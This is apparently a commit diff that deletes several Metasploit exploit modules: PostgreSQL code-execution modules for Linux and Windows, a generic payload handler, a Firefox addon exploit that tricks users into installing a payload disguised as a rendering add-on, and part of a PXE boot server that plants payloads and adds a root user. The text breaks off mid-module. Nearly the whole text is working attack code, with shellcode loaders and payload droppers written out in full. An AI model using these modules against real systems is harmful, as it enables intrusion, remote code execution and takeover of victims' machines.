DB: 2016-08-25
This commit is contained in:
parent
6be90e9280
commit
4c43b1da2b
6 changed files with 2365 additions and 3142 deletions
|
@ -1,198 +0,0 @@
|
||||||
###
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'msf/core/exploit/postgres'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Postgres
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
|
|
||||||
# Creates an instance of this module.
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'PostgreSQL for Linux Payload Execution',
|
|
||||||
'Description' => %q{
|
|
||||||
On some default Linux installations of PostgreSQL, the
|
|
||||||
postgres service account may write to the /tmp directory, and
|
|
||||||
may source UDF Shared Libraries's from there as well, allowing
|
|
||||||
execution of arbitrary code.
|
|
||||||
|
|
||||||
This module compiles a Linux shared object file, uploads it to
|
|
||||||
the target host via the UPDATE pg_largeobject method of binary
|
|
||||||
injection, and creates a UDF (user defined function) from that
|
|
||||||
shared object. Because the payload is run as the shared object's
|
|
||||||
constructor, it does not need to conform to specific Postgres
|
|
||||||
API versions.
|
|
||||||
},
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'midnitesnake', # this Metasploit module
|
|
||||||
'egypt', # on-the-fly compiled .so technique
|
|
||||||
'todb' # original windows module this is based on
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Version' => '$Revision$',
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
|
|
||||||
],
|
|
||||||
'Platform' => 'linux',
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Space' => 65535,
|
|
||||||
'DisableNops' => true,
|
|
||||||
},
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
||||||
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'DisclosureDate' => 'Jun 05 2007'
|
|
||||||
|
|
||||||
))
|
|
||||||
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET')
|
|
||||||
end
|
|
||||||
|
|
||||||
# Buncha stuff to make typing easier.
|
|
||||||
def username; datastore['USERNAME']; end
|
|
||||||
def password; datastore['PASSWORD']; end
|
|
||||||
def database; datastore['DATABASE']; end
|
|
||||||
def rhost; datastore['rhost']; end
|
|
||||||
def rport; datastore['rport']; end
|
|
||||||
def verbose; datastore['VERBOSE']; end
|
|
||||||
def bits; datastore['BITS'];end
|
|
||||||
|
|
||||||
def execute_command(cmd, opts)
|
|
||||||
postgres_sys_exec(cmd)
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
version = do_login(username,password,database)
|
|
||||||
case version
|
|
||||||
when :noauth; print_error "Authentication failed."; return
|
|
||||||
when :noconn; print_error "Connection failed."; return
|
|
||||||
else
|
|
||||||
print_status("#{rhost}:#{rport} - #{version}")
|
|
||||||
end
|
|
||||||
|
|
||||||
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
|
|
||||||
tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)
|
|
||||||
|
|
||||||
unless tbl && fld && so && oid
|
|
||||||
print_error "Could not upload the UDF SO"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
|
||||||
begin
|
|
||||||
func_name = Rex::Text.rand_text_alpha(10)
|
|
||||||
postgres_query(
|
|
||||||
"create or replace function pg_temp.#{func_name}()"+
|
|
||||||
" returns void as '#{so}','#{func_name}'"+
|
|
||||||
" language 'C' strict immutable"
|
|
||||||
)
|
|
||||||
rescue
|
|
||||||
end
|
|
||||||
postgres_logout if @postgres_conn
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Authenticate to the postgres server.
|
|
||||||
#
|
|
||||||
# Returns the version from #postgres_fingerprint
|
|
||||||
def do_login(user=nil,pass=nil,database=nil)
|
|
||||||
begin
|
|
||||||
password = pass || postgres_password
|
|
||||||
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
|
||||||
result = postgres_fingerprint(
|
|
||||||
:db => database,
|
|
||||||
:username => user,
|
|
||||||
:password => password
|
|
||||||
)
|
|
||||||
if result[:auth]
|
|
||||||
report_service(
|
|
||||||
:host => rhost,
|
|
||||||
:port => rport,
|
|
||||||
:name => "postgres",
|
|
||||||
:info => result.values.first
|
|
||||||
)
|
|
||||||
return result[:auth]
|
|
||||||
else
|
|
||||||
return :noauth
|
|
||||||
end
|
|
||||||
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
|
||||||
return :noconn
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def payload_so(filename)
|
|
||||||
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
|
|
||||||
#shellcode = "\\xcc"
|
|
||||||
|
|
||||||
c = %Q^
|
|
||||||
int _exit(int);
|
|
||||||
int printf(const char*, ...);
|
|
||||||
int perror(const char*);
|
|
||||||
void *mmap(int, int, int, int, int, int);
|
|
||||||
void *memcpy(void *, const void *, int);
|
|
||||||
int mprotect(void *, int, int);
|
|
||||||
int fork();
|
|
||||||
int unlink(const char *pathname);
|
|
||||||
|
|
||||||
#define MAP_PRIVATE 2
|
|
||||||
#define MAP_ANONYMOUS 32
|
|
||||||
#define PROT_READ 1
|
|
||||||
#define PROT_WRITE 2
|
|
||||||
#define PROT_EXEC 4
|
|
||||||
|
|
||||||
#define PAGESIZE 0x1000
|
|
||||||
|
|
||||||
char shellcode[] = "#{shellcode}";
|
|
||||||
|
|
||||||
void run_payload(void) __attribute__((constructor));
|
|
||||||
|
|
||||||
void run_payload(void)
|
|
||||||
{
|
|
||||||
int (*fp)();
|
|
||||||
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
memcpy(fp, shellcode, sizeof(shellcode));
|
|
||||||
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
if (!fork()) {
|
|
||||||
fp();
|
|
||||||
}
|
|
||||||
|
|
||||||
unlink("#{filename}");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
^
|
|
||||||
|
|
||||||
cpu = case target_arch.first
|
|
||||||
when ARCH_X86; Metasm::Ia32.new
|
|
||||||
when ARCH_X86_64; Metasm::X86_64.new
|
|
||||||
end
|
|
||||||
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
|
|
||||||
|
|
||||||
so_file = payload_so.encode_string(:lib)
|
|
||||||
|
|
||||||
so_file
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,69 +0,0 @@
|
||||||
##
|
|
||||||
# $Id: handler.rb 11845 2011-02-28 03:22:40Z hdm $
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ManualRanking
|
|
||||||
|
|
||||||
#
|
|
||||||
# This module does basically nothing
|
|
||||||
#
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Generic Payload Handler',
|
|
||||||
'Description' => %q{
|
|
||||||
This module is a stub that provides all of the
|
|
||||||
features of the Metasploit payload system to exploits
|
|
||||||
that have been launched outside of the framework.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => ['hdm'],
|
|
||||||
'Version' => '$Revision: 11845 $',
|
|
||||||
'References' => [ ],
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Space' => 10000000,
|
|
||||||
'BadChars' => '',
|
|
||||||
'DisableNops' => true,
|
|
||||||
},
|
|
||||||
'Platform' => [ 'win', 'linux', 'solaris', 'unix', 'osx', 'bsd', 'php', 'java' ],
|
|
||||||
'Arch' => ARCH_ALL,
|
|
||||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
|
||||||
'DefaultTarget' => 0
|
|
||||||
))
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
|
|
||||||
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
if not datastore['ExitOnSession'] and not job_id
|
|
||||||
raise RuntimeError, "Setting ExitOnSession to false requires running as a job (exploit -j)"
|
|
||||||
end
|
|
||||||
|
|
||||||
stime = Time.now.to_f
|
|
||||||
print_status "Starting the payload handler..."
|
|
||||||
while(true)
|
|
||||||
break if session_created? and datastore['ExitOnSession']
|
|
||||||
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
|
|
||||||
|
|
||||||
select(nil,nil,nil,1)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,226 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'rex'
|
|
||||||
require 'rex/zip'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpServer::HTML
|
|
||||||
include Msf::Exploit::EXE
|
|
||||||
|
|
||||||
def initialize( info = {} )
|
|
||||||
super( update_info( info,
|
|
||||||
'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',
|
|
||||||
'Description' => %q{
|
|
||||||
This exploit dynamically creates a .xpi addon file.
|
|
||||||
The resulting bootstrapped Firefox addon is presented to
|
|
||||||
the victim via a web page with. The victim's Firefox browser
|
|
||||||
will pop a dialog asking if they trust the addon.
|
|
||||||
|
|
||||||
Once the user clicks "install", the addon is installed and
|
|
||||||
executes the payload with full user permissions. As of Firefox
|
|
||||||
4, this will work without a restart as the addon is marked to
|
|
||||||
be "bootstrapped". As the addon will execute the payload after
|
|
||||||
each Firefox restart, an option can be given to automatically
|
|
||||||
uninstall the addon once the payload has been executed.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => [ 'mihi' ],
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],
|
|
||||||
[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]
|
|
||||||
],
|
|
||||||
'DisclosureDate' => 'Jun 27 2007',
|
|
||||||
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
|
|
||||||
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'Generic (Java Payload)',
|
|
||||||
{
|
|
||||||
'Platform' => ['java'],
|
|
||||||
'Arch' => ARCH_JAVA
|
|
||||||
}
|
|
||||||
],
|
|
||||||
[ 'Windows x86 (Native Payload)',
|
|
||||||
{
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Arch' => ARCH_X86,
|
|
||||||
}
|
|
||||||
],
|
|
||||||
[ 'Linux x86 (Native Payload)',
|
|
||||||
{
|
|
||||||
'Platform' => 'linux',
|
|
||||||
'Arch' => ARCH_X86,
|
|
||||||
}
|
|
||||||
],
|
|
||||||
[ 'Mac OS X PPC (Native Payload)',
|
|
||||||
{
|
|
||||||
'Platform' => 'osx',
|
|
||||||
'Arch' => ARCH_PPC,
|
|
||||||
}
|
|
||||||
],
|
|
||||||
[ 'Mac OS X x86 (Native Payload)',
|
|
||||||
{
|
|
||||||
'Platform' => 'osx',
|
|
||||||
'Arch' => ARCH_X86,
|
|
||||||
}
|
|
||||||
]
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 1
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options( [
|
|
||||||
OptString.new('ADDONNAME', [ true,
|
|
||||||
"The addon name.",
|
|
||||||
"HTML5 Rendering Enhancements"
|
|
||||||
]),
|
|
||||||
OptBool.new('AutoUninstall', [ true,
|
|
||||||
"Automatically uninstall the addon after payload execution",
|
|
||||||
true
|
|
||||||
])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def on_request_uri( cli, request )
|
|
||||||
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
|
|
||||||
|
|
||||||
if not request.uri.match(/\.xpi$/i)
|
|
||||||
if not request.uri.match(/\/$/)
|
|
||||||
send_redirect( cli, get_resource() + '/', '')
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{msg} Handling request..." )
|
|
||||||
|
|
||||||
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
p = regenerate_payload(cli)
|
|
||||||
if not p
|
|
||||||
print_error("#{msg} Failed to generate the payload.")
|
|
||||||
# Send them a 404 so the browser doesn't hang waiting for data
|
|
||||||
# that will never come.
|
|
||||||
send_not_found(cli)
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
# If we haven't returned yet, then this is a request for our xpi,
|
|
||||||
# so build one
|
|
||||||
|
|
||||||
if target.name == 'Generic (Java Payload)'
|
|
||||||
jar = p.encoded_jar
|
|
||||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
|
||||||
payload_file = jar.pack
|
|
||||||
payload_name='payload.jar'
|
|
||||||
payload_script=%q|
|
|
||||||
var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java
|
|
||||||
java.lang.System.setSecurityManager(null);
|
|
||||||
var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);
|
|
||||||
var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);
|
|
||||||
m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);
|
|
||||||
|
|
|
||||||
else
|
|
||||||
payload_file = generate_payload_exe
|
|
||||||
payload_name='payload.exe'
|
|
||||||
payload_script=%q|
|
|
||||||
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
|
||||||
process.init(tmp);
|
|
||||||
process.run(false,[],0);
|
|
||||||
|
|
|
||||||
end
|
|
||||||
|
|
||||||
zip = Rex::Zip::Archive.new
|
|
||||||
xpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize!
|
|
||||||
|
|
||||||
bootstrap_script = %q|
|
|
||||||
function startup(data, reason) {
|
|
||||||
var file = Components.classes["@mozilla.org/file/directory_service;1"].
|
|
||||||
getService(Components.interfaces.nsIProperties).
|
|
||||||
get("ProfD", Components.interfaces.nsIFile);
|
|
||||||
file.append("extensions");
|
|
||||||
|
|
|
||||||
bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|
|
|
||||||
bootstrap_script << %Q|payload_name="#{payload_name}";|
|
|
||||||
bootstrap_script << %q|
|
|
||||||
file.append(xpi_guid);
|
|
||||||
file.append(payload_name);
|
|
||||||
var tmp = Components.classes["@mozilla.org/file/directory_service;1"].
|
|
||||||
getService(Components.interfaces.nsIProperties).
|
|
||||||
get("TmpD", Components.interfaces.nsIFile);
|
|
||||||
tmp.append(payload_name);
|
|
||||||
tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);
|
|
||||||
file.copyTo(tmp.parent, tmp.leafName);
|
|
||||||
|
|
|
||||||
bootstrap_script << payload_script
|
|
||||||
|
|
||||||
if (datastore['AutoUninstall'])
|
|
||||||
bootstrap_script << %q|
|
|
||||||
try { // Fx < 4.0
|
|
||||||
Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
|
|
||||||
} catch (e) {}
|
|
||||||
try { // Fx 4.0 and later
|
|
||||||
Components.utils.import("resource://gre/modules/AddonManager.jsm");
|
|
||||||
AddonManager.getAddonByID(xpi_guid, function(addon) {
|
|
||||||
addon.uninstall();
|
|
||||||
});
|
|
||||||
} catch (e) {}
|
|
||||||
|
|
|
||||||
end
|
|
||||||
|
|
||||||
bootstrap_script << "}"
|
|
||||||
|
|
||||||
zip.add_file('bootstrap.js', bootstrap_script)
|
|
||||||
zip.add_file(payload_name, payload_file)
|
|
||||||
zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
|
|
||||||
zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
|
|
||||||
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
|
|
||||||
<Description about="urn:mozilla:install-manifest">
|
|
||||||
<em:id>#{xpi_guid}</em:id>
|
|
||||||
<em:name>#{datastore['ADDONNAME']}</em:name>
|
|
||||||
<em:version>1.0</em:version>
|
|
||||||
<em:bootstrap>true</em:bootstrap>
|
|
||||||
<em:unpack>true</em:unpack>
|
|
||||||
<em:targetApplication>
|
|
||||||
<Description>
|
|
||||||
<em:id>toolkit@mozilla.org</em:id>
|
|
||||||
<em:minVersion>1.0</em:minVersion>
|
|
||||||
<em:maxVersion>*</em:maxVersion>
|
|
||||||
</Description>
|
|
||||||
</em:targetApplication>
|
|
||||||
<em:targetApplication>
|
|
||||||
<Description>
|
|
||||||
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
|
|
||||||
<em:minVersion>1.0</em:minVersion>
|
|
||||||
<em:maxVersion>*</em:maxVersion>
|
|
||||||
</Description>
|
|
||||||
</em:targetApplication>
|
|
||||||
</Description>
|
|
||||||
</RDF>|)
|
|
||||||
zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
|
|
||||||
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
|
|
||||||
<script src="bootstrap.js"/>
|
|
||||||
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
|
|
||||||
</overlay>|)
|
|
||||||
|
|
||||||
print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")
|
|
||||||
send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )
|
|
||||||
handler( cli )
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_html
|
|
||||||
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
|
|
||||||
html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|
|
|
||||||
html << %Q|<script>window.location.href="addon.xpi";</script>\n|
|
|
||||||
html << %Q|</body></html>|
|
|
||||||
return html
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,147 +0,0 @@
|
||||||
##
|
|
||||||
# $Id: postgres_payload.rb 12115 2011-03-23 21:24:09Z todb $
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Postgres
|
|
||||||
include Msf::Exploit::CmdStagerVBS
|
|
||||||
|
|
||||||
# Creates an instance of this module.
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
|
|
||||||
'Description' => %q{
|
|
||||||
This module creates and enables a custom UDF (user defined function) on the
|
|
||||||
target host via the UPDATE pg_largeobject method of binary injection. On
|
|
||||||
default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres
|
|
||||||
service account may write to the Windows temp directory, and may source
|
|
||||||
UDF DLL's from there as well.
|
|
||||||
|
|
||||||
PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are
|
|
||||||
valid targets for this module.
|
|
||||||
|
|
||||||
NOTE: This module will leave a payload executable on the target system when the
|
|
||||||
attack is finished, as well as the UDF DLL and the OID.
|
|
||||||
},
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
|
|
||||||
'todb' # this Metasploit module
|
|
||||||
],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Version' => '$Revision: 12115 $',
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',
|
|
||||||
'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL
|
|
||||||
]
|
|
||||||
],
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'Automatic', { } ], # Confirmed on XXX
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 0,
|
|
||||||
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
|
|
||||||
))
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
|
|
||||||
])
|
|
||||||
|
|
||||||
deregister_options('SQL', 'RETURN_ROWSET')
|
|
||||||
end
|
|
||||||
|
|
||||||
# Buncha stuff to make typing easier.
|
|
||||||
def username; datastore['USERNAME']; end
|
|
||||||
def password; datastore['PASSWORD']; end
|
|
||||||
def database; datastore['DATABASE']; end
|
|
||||||
def verbose; datastore['VERBOSE']; end
|
|
||||||
def rhost; datastore['RHOST']; end
|
|
||||||
def rport; datastore['RPORT']; end
|
|
||||||
|
|
||||||
def execute_command(cmd, opts)
|
|
||||||
postgres_sys_exec(cmd)
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
version = get_version(username,password,database,verbose)
|
|
||||||
case version
|
|
||||||
when :nocompat; print_error "Authentication successful, but not a compatable version."
|
|
||||||
when :noauth; print_error "Authentication failed."
|
|
||||||
when :noconn; print_error "Connection failed."
|
|
||||||
end
|
|
||||||
return unless version =~ /8\.[234]/
|
|
||||||
print_status "Authentication successful and vulnerable version #{version} on Windows confirmed."
|
|
||||||
tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version))
|
|
||||||
unless tbl && fld && dll && oid
|
|
||||||
print_error "Could not upload the UDF DLL"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})"
|
|
||||||
ret_sys_exec = postgres_create_sys_exec(dll)
|
|
||||||
if ret_sys_exec
|
|
||||||
if @postgres_conn
|
|
||||||
execute_cmdstager({:linemax => 1500, :nodelete => true})
|
|
||||||
handler
|
|
||||||
postgres_logout if @postgres_conn
|
|
||||||
else
|
|
||||||
print_error "Lost connection."
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
|
||||||
postgres_logout if @postgres_conn
|
|
||||||
end
|
|
||||||
|
|
||||||
def dll_fname(version)
|
|
||||||
File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
|
|
||||||
end
|
|
||||||
|
|
||||||
# A shorter version of do_fingerprint from the postgres_version scanner
|
|
||||||
# module, specifically looking for versions that valid targets for this
|
|
||||||
# module.
|
|
||||||
def get_version(user=nil,pass=nil,database=nil,verbose=false)
|
|
||||||
begin
|
|
||||||
msg = "#{rhost}:#{rport} Postgres -"
|
|
||||||
password = pass || postgres_password
|
|
||||||
print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose
|
|
||||||
result = postgres_fingerprint(
|
|
||||||
:db => database,
|
|
||||||
:username => user,
|
|
||||||
:password => password
|
|
||||||
)
|
|
||||||
if result[:auth]
|
|
||||||
# So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4
|
|
||||||
# This also checks to see if it was compiled with a windows-based compiler --
|
|
||||||
# the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)
|
|
||||||
# Also, the method to write files to disk doesn't appear to work on 9.0, so
|
|
||||||
# tabling that version for now.
|
|
||||||
if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i
|
|
||||||
return $1
|
|
||||||
else
|
|
||||||
print_status "Found #{result[:auth]}"
|
|
||||||
return :nocompat
|
|
||||||
end
|
|
||||||
else
|
|
||||||
return :noauth
|
|
||||||
end
|
|
||||||
rescue Rex::ConnectionError
|
|
||||||
print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']
|
|
||||||
return :noconn
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,132 +0,0 @@
|
||||||
##
|
|
||||||
# $Id: pxexploit.rb 13493 2011-08-05 17:10:27Z scriptjunkie $
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'rex/proto/tftp'
|
|
||||||
require 'rex/proto/dhcp'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
|
||||||
Rank = ExcellentRanking
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::TFTPServer
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'PXE exploit server',
|
|
||||||
'Version' => '$Revision: 13493 $',
|
|
||||||
'Description' => %q{
|
|
||||||
This module provides a PXE server, running a DHCP and TFTP server.
|
|
||||||
The default configuration loads a linux kernel and initrd into memory that
|
|
||||||
reads the hard drive; placing the payload on the hard drive of any Windows
|
|
||||||
partition seen, and add a uid 0 user with username and password metasploit to any
|
|
||||||
linux partition seen.
|
|
||||||
},
|
|
||||||
'Author' => [ 'scriptjunkie' ],
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Version' => '$Revision: 13493 $',
|
|
||||||
'DefaultOptions' =>
|
|
||||||
{
|
|
||||||
'EXITFUNC' => 'process',
|
|
||||||
},
|
|
||||||
'Payload' =>
|
|
||||||
{
|
|
||||||
'Space' => 4500,
|
|
||||||
'DisableNops' => 'True',
|
|
||||||
},
|
|
||||||
'Platform' => 'win',
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'Windows Universal',
|
|
||||||
{
|
|
||||||
}
|
|
||||||
],
|
|
||||||
],
|
|
||||||
'Privileged' => true,
|
|
||||||
'Stance' => Msf::Exploit::Stance::Passive,
|
|
||||||
'DefaultTarget' => 0
|
|
||||||
)
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ])
|
|
||||||
], self.class)
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]),
|
|
||||||
OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]),
|
|
||||||
OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]),
|
|
||||||
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
|
|
||||||
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
if not datastore['TFTPROOT']
|
|
||||||
datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
|
|
||||||
end
|
|
||||||
datastore['FILENAME'] = "update1"
|
|
||||||
datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
|
|
||||||
|
|
